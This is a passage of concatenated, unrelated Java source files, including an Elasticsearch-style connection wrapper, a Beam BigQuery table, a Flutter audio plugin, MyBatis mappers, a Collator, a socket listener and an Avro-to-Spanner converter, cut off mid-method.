public boolean nodeConnected(DiscoveryNode node) {
return defaultNodeConnectedBehavior.connectedNodes(delegate, node);
}
@Override
public void addListener(TransportConnectionListener listener) {
delegate.addListener(listener);
}
@Override
public void removeListener(TransportConnectionListener listener) {
delegate.removeListener(listener);
}
@Override
public void connectToNode(DiscoveryNode node, ConnectionProfile connectionProfile,
ConnectionValidator connectionValidator, ActionListener<Void> listener)
throws ConnectTransportException {
delegate.connectToNode(node, connectionProfile, connectionValidator, listener);
}
@Override
public void disconnectFromNode(DiscoveryNode node) {
delegate.disconnectFromNode(node);
}
@Override
public int size() {
return delegate.size();
}
@Override
public Set<DiscoveryNode> getAllConnectedNodes() {
return delegate.getAllConnectedNodes();
}
@Override
public void close() {
delegate.close();
}
@Override
public void closeNoBlock() {
delegate.closeNoBlock();
}
@Override
public ConnectionProfile getConnectionProfile() {
return delegate.getConnectionProfile();
}
@FunctionalInterface
public interface GetConnectionBehavior {
Transport.Connection getConnection(ConnectionManager connectionManager, DiscoveryNode discoveryNode);
}
@FunctionalInterface
public interface NodeConnectedBehavior {
boolean connectedNodes(ConnectionManager connectionManager, DiscoveryNode node);
}
}
|
package com.company;
import java.util.Random;
/* This class is responsible for all random number generation */
public class RandomGenerator implements Generator {
private static final Random rand = new Random();
public RandomGenerator() {
}
@Override
public double getUniformRandomNext() {
return rand.nextDouble();
}
@Override
public double getNegativeExponentialRandomNext(double value) {
return Math.log(1 - getUniformRandomNext()) / (-value);
}
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.beam.sdk.extensions.sql.meta.provider.bigquery;
import java.io.Serializable;
import org.apache.beam.sdk.annotations.Experimental;
import org.apache.beam.sdk.extensions.sql.impl.schema.BaseBeamTable;
import org.apache.beam.sdk.io.gcp.bigquery.BigQueryIO;
import org.apache.beam.sdk.io.gcp.bigquery.BigQueryUtils;
import org.apache.beam.sdk.schemas.Schema;
import org.apache.beam.sdk.values.PBegin;
import org.apache.beam.sdk.values.PCollection;
import org.apache.beam.sdk.values.POutput;
import org.apache.beam.sdk.values.Row;
/**
* {@code BeamBigQueryTable} represent a BigQuery table as a target. This provider does not
* currently support being a source.
*/
@Experimental
public class BeamBigQueryTable extends BaseBeamTable implements Serializable {
private String tableSpec;
public BeamBigQueryTable(Schema beamSchema, String tableSpec) {
super(beamSchema);
this.tableSpec = tableSpec;
}
@Override
public PCollection<Row> buildIOReader(PBegin begin) {
// TODO: make this more generic.
return begin
.apply(BigQueryIO.read(BigQueryUtils.toBeamRow(schema)).from(tableSpec))
.setRowSchema(getSchema());
}
@Override
public POutput buildIOWriter(PCollection<Row> input) {
return input.apply(
BigQueryIO.<Row>write()
.withSchema(BigQueryUtils.toTableSchema(getSchema()))
.withFormatFunction(BigQueryUtils.toTableRow())
.to(tableSpec));
}
String getTableSpec() {
return tableSpec;
}
}
|
package bz.rxla.audioplayer;
import android.media.AudioManager;
import android.media.MediaPlayer;
import android.media.AudioAttributes;
import android.os.Handler;
import android.util.Log;
import io.flutter.plugin.common.MethodChannel;
import io.flutter.plugin.common.MethodChannel.MethodCallHandler;
import io.flutter.plugin.common.MethodChannel.Result;
import io.flutter.plugin.common.MethodCall;
import io.flutter.plugin.common.PluginRegistry.Registrar;
import java.io.IOException;
import java.util.HashMap;
import android.content.Context;
import android.os.Build;
/**
* Android implementation for AudioPlayerPlugin.
*/
public class AudioplayerPlugin implements MethodCallHandler {
private static final String ID = "bz.rxla.flutter/audio";
private final MethodChannel channel;
private final AudioManager am;
private final Handler handler = new Handler();
private MediaPlayer mediaPlayer;
public static void registerWith(Registrar registrar) {
final MethodChannel channel = new MethodChannel(registrar.messenger(), ID);
channel.setMethodCallHandler(new AudioplayerPlugin(registrar, channel));
}
private AudioplayerPlugin(Registrar registrar, MethodChannel channel) {
this.channel = channel;
channel.setMethodCallHandler(this);
Context context = registrar.context().getApplicationContext();
this.am = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
}
@Override
public void onMethodCall(MethodCall call, MethodChannel.Result response) {
switch (call.method) {
case "play":
play(call.argument("url").toString(), Integer.valueOf(call.argument("from").toString()), Double.valueOf(call.argument("speed").toString()));
response.success(null);
break;
case "pause":
pause();
response.success(null);
break;
case "stop":
stop();
response.success(null);
break;
case "seek":
double position = call.arguments();
seek(position);
response.success(null);
break;
case "mute":
Boolean muted = call.arguments();
mute(muted);
response.success(null);
break;
case "changeSpeed":
double value = call.arguments();
changeSpeed(value);
response.success(null);
break;
default:
response.notImplemented();
}
}
private void mute(Boolean muted) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
am.adjustStreamVolume(AudioManager.STREAM_MUSIC, muted ? AudioManager.ADJUST_MUTE : AudioManager.ADJUST_UNMUTE, 0);
} else {
am.setStreamMute(AudioManager.STREAM_MUSIC, muted);
}
}
private void seek(double position) {
mediaPlayer.seekTo((int) (position * 1000));
}
private void stop() {
handler.removeCallbacks(sendData);
if (mediaPlayer != null) {
mediaPlayer.stop();
mediaPlayer.release();
mediaPlayer = null;
channel.invokeMethod("audio.onStop", null);
}
}
private void changeSpeed(double value){
handler.removeCallbacks(sendData);
if (mediaPlayer != null && android.os.Build.VERSION.SDK_INT>=23) {
mediaPlayer.setPlaybackParams(mediaPlayer.getPlaybackParams().setSpeed((float) value));
}
}
private void pause() {
handler.removeCallbacks(sendData);
if (mediaPlayer != null) {
mediaPlayer.pause();
channel.invokeMethod("audio.onPause", true);
}
}
private void play(String url, int timestamp, double toSpeed ) {
final float playbackSpeed = (float) toSpeed;
final int from = timestamp;
if (mediaPlayer == null) {
mediaPlayer = new MediaPlayer();
AudioAttributes audioAttribute = new AudioAttributes.Builder()
.setUsage(AudioAttributes.USAGE_MEDIA)
.setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
.build();
mediaPlayer.setAudioAttributes(audioAttribute);
try {
if(url!="")
mediaPlayer.setDataSource(url);
} catch (IOException e) {
Log.w(ID, "Invalid DataSource", e);
channel.invokeMethod("audio.onError", "Invalid Datasource");
return;
}
mediaPlayer.prepareAsync();
mediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener(){
@Override
public void onPrepared(MediaPlayer mp) {
mediaPlayer.setPlaybackParams(mediaPlayer.getPlaybackParams().setSpeed(playbackSpeed));
if(from!=0){
mediaPlayer.seekTo(from * 1000);
mediaPlayer.setOnSeekCompleteListener(new MediaPlayer.OnSeekCompleteListener() {
@Override
public void onSeekComplete(MediaPlayer mp) {
mediaPlayer.start();
}
});}else{
mediaPlayer.start();
}
channel.invokeMethod("audio.onStart", mediaPlayer.getDuration());
}
});
mediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener(){
@Override
public void onCompletion(MediaPlayer mp) {
channel.invokeMethod("audio.onComplete", null);
stop();
}
});
mediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener(){
@Override
public boolean onError(MediaPlayer mp, int what, int extra) {
channel.invokeMethod("audio.onError", String.format("{\"what\":%d,\"extra\":%d}", what, extra));
return true;
}
});
} else {
mediaPlayer.start();
channel.invokeMethod("audio.onStart", mediaPlayer.getDuration());
}
handler.post(sendData);
}
private final Runnable sendData = new Runnable(){
public void run(){
try {
if (!mediaPlayer.isPlaying()) {
handler.removeCallbacks(sendData);
}
int time = mediaPlayer.getCurrentPosition();
channel.invokeMethod("audio.onCurrentPosition", time);
handler.postDelayed(this, 200);
}
catch (Exception e) {
Log.w(ID, "When running handler", e);
}
}
};
}
|
package com.cesare.gulimall.ware.service;
import com.baomidou.mybatisplus.extension.service.IService;
import com.cesare.common.utils.PageUtils;
import com.cesare.gulimall.ware.entity.WareInfoEntity;
import java.util.Map;
/**
* 仓库信息
*
* @author luzhengsheng
* @email 1844567512@qq.com
* @date 2021-04-03 14:16:25
*/
public interface WareInfoService extends IService<WareInfoEntity> {
PageUtils queryPage(Map<String, Object> params);
}
|
/*
* Fortify Software Security Center API
* No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
*
* OpenAPI spec version: 1:18.20
*
*
* NOTE: This class is auto generated by the swagger code generator program.
* https://github.com/swagger-api/swagger-codegen.git
* Do not edit the class manually.
*/
package com.fortify.ssc.restclient.model;
import java.util.Objects;
import com.fortify.ssc.restclient.model.ReportDefinition;
import com.google.gson.TypeAdapter;
import com.google.gson.annotations.JsonAdapter;
import com.google.gson.annotations.SerializedName;
import com.google.gson.stream.JsonReader;
import com.google.gson.stream.JsonWriter;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
/**
* EmbeddedReportDefinition
*/
@javax.annotation.Generated(value = "io.swagger.codegen.languages.JavaClientCodegen", date = "2018-07-09T13:54:27.094-07:00")
public class EmbeddedReportDefinition {
@SerializedName("fieldsToNullWithExclusions")
private List<String> fieldsToNullWithExclusions = null;
@SerializedName("reportDefinition")
private ReportDefinition reportDefinition = null;
public EmbeddedReportDefinition fieldsToNullWithExclusions(List<String> fieldsToNullWithExclusions) {
this.fieldsToNullWithExclusions = fieldsToNullWithExclusions;
return this;
}
public EmbeddedReportDefinition addFieldsToNullWithExclusionsItem(String fieldsToNullWithExclusionsItem) {
if (this.fieldsToNullWithExclusions == null) {
this.fieldsToNullWithExclusions = new ArrayList<String>();
}
this.fieldsToNullWithExclusions.add(fieldsToNullWithExclusionsItem);
return this;
}
/**
* Get fieldsToNullWithExclusions
* @return fieldsToNullWithExclusions
**/
@ApiModelProperty(value = "")
public List<String> getFieldsToNullWithExclusions() {
return fieldsToNullWithExclusions;
}
public void setFieldsToNullWithExclusions(List<String> fieldsToNullWithExclusions) {
this.fieldsToNullWithExclusions = fieldsToNullWithExclusions;
}
public EmbeddedReportDefinition reportDefinition(ReportDefinition reportDefinition) {
this.reportDefinition = reportDefinition;
return this;
}
/**
* Get reportDefinition
* @return reportDefinition
**/
@ApiModelProperty(value = "")
public ReportDefinition getReportDefinition() {
return reportDefinition;
}
public void setReportDefinition(ReportDefinition reportDefinition) {
this.reportDefinition = reportDefinition;
}
@Override
public boolean equals(java.lang.Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
EmbeddedReportDefinition embeddedReportDefinition = (EmbeddedReportDefinition) o;
return Objects.equals(this.fieldsToNullWithExclusions, embeddedReportDefinition.fieldsToNullWithExclusions) &&
Objects.equals(this.reportDefinition, embeddedReportDefinition.reportDefinition);
}
@Override
public int hashCode() {
return Objects.hash(fieldsToNullWithExclusions, reportDefinition);
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("class EmbeddedReportDefinition {\n");
sb.append(" fieldsToNullWithExclusions: ").append(toIndentedString(fieldsToNullWithExclusions)).append("\n");
sb.append(" reportDefinition: ").append(toIndentedString(reportDefinition)).append("\n");
sb.append("}");
return sb.toString();
}
/**
* Convert the given object to string with each line indented by 4 spaces
* (except the first line).
*/
private String toIndentedString(java.lang.Object o) {
if (o == null) {
return "null";
}
return o.toString().replace("\n", "\n ");
}
}
|
/*
* Copyright 2009-2014 PrimeTek.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.primefaces.showcase.view.input;
import java.util.ArrayList;
import java.util.List;
import javax.annotation.PostConstruct;
import javax.faces.bean.ManagedBean;
import javax.faces.model.SelectItem;
import javax.faces.model.SelectItemGroup;
@ManagedBean
public class MultiSelectView {
private List<SelectItem> categories;
private String selection;
@PostConstruct
public void init() {
categories = new ArrayList<SelectItem>();
SelectItemGroup group1 = new SelectItemGroup("Group 1");
SelectItemGroup group2 = new SelectItemGroup("Group 2");
SelectItemGroup group3 = new SelectItemGroup("Group 3");
SelectItemGroup group4 = new SelectItemGroup("Group 4");
SelectItemGroup group11 = new SelectItemGroup("Group 1.1");
SelectItemGroup group12 = new SelectItemGroup("Group 1.2");
SelectItemGroup group21 = new SelectItemGroup("Group 2.1");
SelectItem option31 = new SelectItem("Option 3.1", "Option 3.1");
SelectItem option32 = new SelectItem("Option 3.2", "Option 3.2");
SelectItem option33 = new SelectItem("Option 3.3", "Option 3.3");
SelectItem option34 = new SelectItem("Option 3.4", "Option 3.4");
SelectItem option41 = new SelectItem("Option 4.1", "Option 4.1");
SelectItem option111 = new SelectItem("Option 1.1.1");
SelectItem option112 = new SelectItem("Option 1.1.2");
group11.setSelectItems(new SelectItem[]{option111, option112});
SelectItem option121 = new SelectItem("Option 1.2.1", "Option 1.2.1");
SelectItem option122 = new SelectItem("Option 1.2.2", "Option 1.2.2");
SelectItem option123 = new SelectItem("Option 1.2.3", "Option 1.2.3");
group12.setSelectItems(new SelectItem[]{option121, option122, option123});
SelectItem option211 = new SelectItem("Option 2.1.1", "Option 2.1.1");
group21.setSelectItems(new SelectItem[]{option211});
group1.setSelectItems(new SelectItem[]{group11, group12});
group2.setSelectItems(new SelectItem[]{group21});
group3.setSelectItems(new SelectItem[]{option31, option32, option33, option34});
group4.setSelectItems(new SelectItem[]{option41});
categories.add(group1);
categories.add(group2);
categories.add(group3);
categories.add(group4);
}
public List<SelectItem> getCategories() {
return categories;
}
public String getSelection() {
return selection;
}
public void setSelection(String selection) {
this.selection = selection;
}
}
|
/**************************************************************************
* Copyright (c) 2001 by Punch Telematix. All rights reserved. *
* *
* Redistribution and use in source and binary forms, with or without *
* modification, are permitted provided that the following conditions *
* are met: *
* 1. Redistributions of source code must retain the above copyright *
* notice, this list of conditions and the following disclaimer. *
* 2. Redistributions in binary form must reproduce the above copyright *
* notice, this list of conditions and the following disclaimer in the *
* documentation and/or other materials provided with the distribution. *
* 3. Neither the name of Punch Telematix nor the names of *
* other contributors may be used to endorse or promote products *
* derived from this software without specific prior written permission.*
* *
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED *
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF *
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. *
* IN NO EVENT SHALL PUNCH TELEMATIX OR OTHER CONTRIBUTORS BE LIABLE *
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR *
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF *
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR *
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, *
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE *
* OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN *
* IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
**************************************************************************/
/*
** $Id: Collator.java,v 1.2 2006/04/18 11:35:28 cvs Exp $
*/
package java.text;
import java.util.Comparator;
import java.util.Locale;
public abstract class Collator implements Comparator,Cloneable {
public final static int NO_DECOMPOSITION = 0;
public final static int CANONICAL_DECOMPOSITION = 1;
public final static int FULL_DECOMPOSITION = 2;
public final static int PRIMARY = 0;
public final static int SECONDARY = 1;
public final static int TERTIARY = 2;
public final static int IDENTICAL = 3;
public static Locale[] getAvailableLocales(){
//TODO ...
return new Locale[0];
}
public static Collator getInstance(){
return getInstance(Locale.getDefault());
}
public static Collator getInstance(Locale loc){
//TODO ...
try {
RuleBasedCollator rbc = new RuleBasedCollator("< a,A < b,B < c,C < d,D < e,E < f,F < g,G < h,H < i,I < j,J "+
"< k,K < l,L < m,M < n,N < o,O < p,P < q,Q < r,R < s,S < t,T < u,U < v,V < w,W < x,X < y,Y < z,Z");
return rbc;
}
catch(ParseException pe){
System.out.println("Ooops getInstance fails "+pe);
pe.printStackTrace();
return null;
}
}
int decomposition = CANONICAL_DECOMPOSITION;
int strength = TERTIARY;
protected Collator(){}
Collator(int decomp, int str){
decomposition = decomp;
strength = str;
}
public Object clone(){
try {
return super.clone();
}
catch(CloneNotSupportedException cnse){
return null;
}
}
public abstract int compare(String one, String two);
public int compare(Object one, Object two){
return compare((String)one,(String)two);
}
public boolean equals(Object o){
if(!(o instanceof Collator)){
return false;
}
Collator col = (Collator) o;
return this.decomposition == col.decomposition
&& this.strength == col.strength;
}
public boolean equals(String one, String two){
return compare(one, two) == 0;
}
public abstract CollationKey getCollationKey(String src);
public int getDecomposition(){
return decomposition;
}
public int getStrength(){
return strength;
}
public abstract int hashCode();
public void setDecomposition(int mode){
if(mode < 0 || mode > 2){
throw new IllegalArgumentException();
}
decomposition = mode;
}
public void setStrength(int strength){
if(strength < 0 || strength > 3){
throw new IllegalArgumentException();
}
this.strength = strength;
}
}
|
/*
* broadcastS.java
*
* Created on February 28, 2007, 7:58 PM
*
*
*/
package networking;
import java.io.*;
import java.net.*;
import java.util.*;
/**
*
* @author Alex Filby
*
*
*/
public class broadcastS implements Runnable {
private InetAddress serverIp;
private ServerSocket sock;
private final int listenPort = 7776;
private boolean stop;
private InetAddress group;
private final String shake = "HELLO";
private netController net;
public broadcastS(netController net) {
this.net = net;
try {
serverIp = InetAddress.getLocalHost();
System.out.println(serverIp);
// group = InetAddress.getByName("228.5.7.7");
} catch (UnknownHostException ex) {
ex.printStackTrace();
}
Thread t = new Thread(this);
t.start();
}
public void run() {
stop = false;
try {
System.out.println("About to listen for clients");
sock = new ServerSocket(listenPort);
// sock.joinGroup(group);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
sock.setSoTimeout(5);
} catch (SocketException ex) {
ex.printStackTrace();
}
while(!stop) {
try{
Socket s = sock.accept();
msg(s);
s.close();
}catch(SocketTimeoutException e) {
}catch(Exception e) {
e.printStackTrace();
}
}
}
private void msg(Socket s) {
System.out.println(s.getInetAddress());
net.addQClient(s.getInetAddress());
// returnIP(packet.getAddress());
}
private void returnIP(InetAddress client) {
DatagramSocket sockOut = null;
try {
sockOut = new DatagramSocket();
} catch (SocketException ex) {
ex.printStackTrace();
}
byte[] buff = "random".getBytes();
int length = buff.length;
DatagramPacket packet = new DatagramPacket(buff, length, client, 7777);
System.out.println(client);
try{
for(int i = 0; i < 4; i++) {
sockOut.send(packet);
try {
Thread.sleep(100);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
}
sockOut.close();
} catch (IOException ex) {
ex.printStackTrace();
}
}
public void stop() {
System.out.println("STOPPED!");
stop = true;
}
}
|
package io.github.xhinliang.mdpreference;
import android.app.Application;
import android.test.ApplicationTestCase;
/**
* <a href="http://d.android.com/tools/testing/testing_android.html">Testing Fundamentals</a>
*/
public class ApplicationTest extends ApplicationTestCase<Application> {
public ApplicationTest() {
super(Application.class);
}
}
|
package cn.itcast.zt.domain;
import org.apache.ibatis.annotations.*;
import java.util.List;
import java.util.Map;
/**
* Created by zhangtian on 2017/4/12.
*/
@Mapper
public interface UserMapper {
@Select("SELECT * FROM USER WHERE NAME = #{name}")
User findByName(@Param("name") String name) ;
@Results({
@Result(property = "name", column = "name"),
@Result(property = "age", column = "age")
})
@Select("SELECT name, age FROM USER")
List<User> findAll() ;
@Insert("INSERT INTO USER(NAME, AGE) VALUES(#{name}, #{age})")
int insert(@Param("name") String name, @Param("age") Integer age) ;
@Update("UPDATE USER SET age = #{age} where name = #{name}")
void update(User user) ;
@Delete("DELETE FROM USER WHERE ID = #{id}")
void delete(Long id) ;
@Insert("INSERT INTO user(name, age) VALUES(#{name}, #{age})")
int insertByUser(User user);
@Insert("INSERT INTO user(name, age) VALUES(#{name,jdbcType=VARCHAR}, #{age,jdbcType=INTEGER})")
int insertByMap(Map<String, Object> map);
}
|
package com.mercari.solution.util.converter;
import com.google.cloud.ByteArray;
import com.google.cloud.Date;
import com.google.cloud.Timestamp;
import com.google.cloud.spanner.Mutation;
import com.google.cloud.spanner.Type;
import com.mercari.solution.util.AvroSchemaUtil;
import com.mercari.solution.util.gcp.SpannerUtil;
import org.apache.avro.LogicalTypes;
import org.apache.avro.Schema;
import org.apache.avro.generic.GenericRecord;
import org.apache.beam.sdk.io.gcp.spanner.MutationGroup;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.nio.ByteBuffer;
import java.time.LocalDate;
import java.time.LocalTime;
import java.time.format.DateTimeFormatter;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.Set;
import java.util.stream.Collectors;
public class RecordToMutationConverter {
private static final Logger LOG = LoggerFactory.getLogger(RecordToMutationConverter.class);
public static Type convertSchema(final Schema schema) {
return convertFieldType(schema);
}
public static Mutation convert(final Schema schema, final GenericRecord record,
final String table, final String mutationOp, final Iterable<String> keyFields,
final Set<String> excludeFields, final Set<String> hideFields) {
if(mutationOp != null && "DELETE".equals(mutationOp.trim().toUpperCase())) {
return SpannerUtil.createDeleteMutation(record, table, keyFields, GenericRecord::get);
}
final Mutation.WriteBuilder builder = SpannerUtil.createMutationWriteBuilder(table, mutationOp);
for(final Schema.Field field : schema.getFields()) {
if(excludeFields != null && excludeFields.contains(field.name())) {
continue;
}
final boolean hide = hideFields != null && hideFields.contains(field.name());
final String fieldName = field.name();
final Object value = record.get(fieldName);
setValue(builder, fieldName, field.schema(), value, hide, false);
}
return builder.build();
}
public static MutationGroup convertGroup(final Schema schema, final GenericRecord record, final String mutationOp, final String primaryField) {
Mutation primary = null;
final List<Mutation> mutations = new ArrayList<>();
for(final Schema.Field field : record.getSchema().getFields()) {
final String fieldName = field.name();
if(record.get(fieldName) == null) {
continue;
}
switch (field.schema().getType()) {
case BOOLEAN:
case STRING:
case BYTES:
case INT:
case LONG:
case FLOAT:
case DOUBLE:
case MAP:
break;
case RECORD:
final Mutation mutation = convert(schema, record, fieldName, mutationOp, null, null, null);
if(field.name().equals(primaryField)) {
primary = mutation;
} else {
mutations.add(mutation);
}
break;
case ARRAY: {
if (!Schema.Type.RECORD.equals(field.schema().getElementType().getType())) {
break;
}
final List<Mutation> mutationArray = ((List<GenericRecord>)record.get(fieldName)).stream()
.map(r -> convert(r.getSchema(), r, fieldName, mutationOp, null, null, null))
.collect(Collectors.toList());
if(mutationArray.size() == 0) {
break;
}
if(field.name().equals(primaryField)) {
primary = mutationArray.get(0);
//mutations.addAll(mutationArray.subList(1, mutationArray.size()));
mutations.addAll(mutationArray);
} else {
mutations.addAll(mutationArray);
}
break;
}
default:
break;
}
}
if(primary == null) {
return MutationGroup.create(mutations.get(0), mutations.subList(1, mutations.size()));
}
LOG.error(primary.toString() + " : " + mutations.size());
return MutationGroup.create(primary, mutations);
}
private static void setValue(final Mutation.WriteBuilder builder,
final String fieldName, final Schema schema, final Object value,
final boolean hide, final boolean nullableField) {
final boolean isNullField = value == null;
switch(schema.getType()) {
case BOOLEAN:
final Boolean booleanValue = hide ? (nullableField ? null : false) : (Boolean)value;
builder.set(fieldName).to(booleanValue);
break;
case ENUM:
case STRING:
final String stringValue = hide ? (nullableField ? null : "") : isNullField ? null : value.toString();
final String sqlType = schema.getProp("sqlType");
if("DATETIME".equals(sqlType)) {
builder.set(fieldName).to(stringValue);
} else if("GEOGRAPHY".equals(sqlType)) {
builder.set(fieldName).to(stringValue);
} else {
builder.set(fieldName).to(stringValue);
}
break;
case FIXED:
case BYTES:
final ByteArray bytesValue = hide ? (nullableField ? null : ByteArray.copyFrom(""))
: (isNullField ? null : ByteArray.copyFrom(((ByteBuffer)value).array()));
builder.set(fieldName).to(bytesValue);
break;
case INT:
if(LogicalTypes.date().equals(schema.getLogicalType())) {
final Date dateValue = hide ? (nullableField ? null : Date.fromYearMonthDay(1970,1,1))
: convertEpochDaysToDate((Integer)value);
builder.set(fieldName).to(dateValue);
} else if(LogicalTypes.timeMillis().equals(schema.getLogicalType())) {
final String timeValue = hide ? (nullableField ? null : "00:00:00") :
(isNullField ? null : LocalTime.ofNanoOfDay(new Long((Integer) value) * 1000 * 1000).format(DateTimeFormatter.ISO_LOCAL_TIME));
builder.set(fieldName).to(timeValue);
} else {
final Integer intValue = hide ? (nullableField ? null : 0) : (Integer) value;
builder.set(fieldName).to(intValue);
}
break;
case LONG:
final Long longValue = (Long)value;
if(LogicalTypes.timestampMillis().equals(schema.getLogicalType())) {
final Timestamp timestampValue = hide ? (nullableField ? null : Timestamp.MIN_VALUE)
: isNullField ? null : convertMicrosecToTimestamp(longValue * 1000);
builder.set(fieldName).to(timestampValue);
} else if(LogicalTypes.timestampMicros().equals(schema.getLogicalType())) {
final Timestamp timestampValue = hide ? (nullableField ? null : Timestamp.MIN_VALUE)
: isNullField ? null : convertMicrosecToTimestamp(longValue);
builder.set(fieldName).to(timestampValue);
} else if(LogicalTypes.timeMicros().equals(schema.getLogicalType())) {
final String timeValue = hide ? (nullableField ? null : "00:00:00")
: isNullField ? null : convertNanosecToTimeString(longValue * 1000);
builder.set(fieldName).to(timeValue);
} else {
builder.set(fieldName).to(hide ? (nullableField ? null : 0L) : longValue);
}
break;
case FLOAT:
final Float floatValue = hide ? (nullableField ? null : 0F) : (Float) value;
builder.set(fieldName).to(floatValue);
break;
case DOUBLE:
final Double doubleValue = hide ? (nullableField ? null : 0D) : (Double) value;
builder.set(fieldName).to(doubleValue);
break;
case RECORD:
// NOT SUPPOERTED TO STORE STRUCT AS FIELD! (2019/03/04)
// https://cloud.google.com/spanner/docs/data-types
break;
case UNION:
final boolean nullable = schema.getTypes().stream()
.anyMatch(s -> s.getType().equals(Schema.Type.NULL));
final Schema unnested = schema.getTypes().stream()
.filter(s -> !s.getType().equals(Schema.Type.NULL))
.findAny()
.orElseThrow(() -> new IllegalArgumentException(""));
setValue(builder, fieldName, unnested, value, hide, nullable);
break;
case ARRAY: {
final List list = new ArrayList();
final Schema elementSchema = AvroSchemaUtil.unnestUnion(schema.getElementType());
switch (elementSchema.getType()) {
case BOOLEAN:
final List<Boolean> booleanList = hide || isNullField ? list :
((List<Boolean>) value)
.stream()
.filter(Objects::nonNull)
.collect(Collectors.toList());
builder.set(fieldName).toBoolArray(booleanList);
break;
case ENUM:
case STRING:
final List<String> stringList = hide || isNullField ? list :
((List<Object>) value)
.stream()
.filter(Objects::nonNull)
.map(Object::toString)
.collect(Collectors.toList());
builder.set(fieldName).toStringArray(stringList);
break;
case FIXED:
case BYTES:
final List<ByteArray> bytesList = hide || isNullField ? list :
((List<ByteBuffer>) value).stream()
.filter(Objects::nonNull)
.map(ByteBuffer::array)
.map(ByteArray::copyFrom)
.collect(Collectors.toList());
builder.set(fieldName).toBytesArray(bytesList);
break;
case INT:
final List<Integer> intList = ((List<Integer>) value);
if (LogicalTypes.date().equals(elementSchema.getLogicalType())) {
final List<Date> dateList = hide || isNullField ? list :
intList.stream()
.filter(Objects::nonNull)
.map(RecordToMutationConverter::convertEpochDaysToDate)
.collect(Collectors.toList());
builder.set(fieldName).toDateArray(dateList);
} else if (LogicalTypes.timeMillis().equals(elementSchema.getLogicalType())) {
final List<String> timeList = hide || isNullField ? list :
intList.stream()
.filter(Objects::nonNull)
.map(Long::new)
.map(l -> l * 1000 * 1000)
.map(LocalTime::ofNanoOfDay)
.map(l -> l.format(DateTimeFormatter.ISO_LOCAL_TIME))
.collect(Collectors.toList());
builder.set(fieldName).toStringArray(timeList);
} else {
final List<Long> integerList = hide || isNullField ? list :
intList.stream()
.filter(Objects::nonNull)
.map(Long::new)
.collect(Collectors.toList());
builder.set(fieldName).toInt64Array(integerList);
}
break;
case LONG:
final List<Long> longList = (List<Long>) value;
if (LogicalTypes.timestampMillis().equals(elementSchema.getLogicalType())) {
final List<Timestamp> timestampList = hide || isNullField ? list :
longList.stream()
.filter(Objects::nonNull)
.map(l -> l * 1000)
.map(RecordToMutationConverter::convertMicrosecToTimestamp)
.collect(Collectors.toList());
builder.set(fieldName).toTimestampArray(timestampList);
} else if (LogicalTypes.timestampMicros().equals(elementSchema.getLogicalType())) {
final List<Timestamp> timestampList = hide || isNullField ? list :
longList.stream()
.filter(Objects::nonNull)
.map(RecordToMutationConverter::convertMicrosecToTimestamp)
.collect(Collectors.toList());
builder.set(fieldName).toTimestampArray(timestampList);
} else if (LogicalTypes.timeMicros().equals(elementSchema.getLogicalType())) {
final List<String> timestampList = hide || isNullField ? list :
longList.stream()
.filter(Objects::nonNull)
.map(l -> l * 1000)
.map(RecordToMutationConverter::convertNanosecToTimeString)
.collect(Collectors.toList());
builder.set(fieldName).toStringArray(timestampList);
} else {
final List<Long> longLists = hide || isNullField ? list :
longList.stream()
.filter(Objects::nonNull)
.collect(Collectors.toList());
builder.set(fieldName).toInt64Array(longLists);
}
break;
case FLOAT:
final List<Double> floatList = hide || isNullField ? list :
((List<Float>) value)
.stream()
.filter(Objects::nonNull)
.map(Double::new)
.collect(Collectors.toList());
builder.set(fieldName).toFloat64Array(floatList);
break;
case DOUBLE:
final List<Double> doubleList = hide || isNullField ? list :
((List<Double>) value)
.stream()
.filter(Objects::nonNull)
.collect(Collectors.toList());
builder.set(fieldName).toFloat64Array(doubleList);
break;
case RECORD:
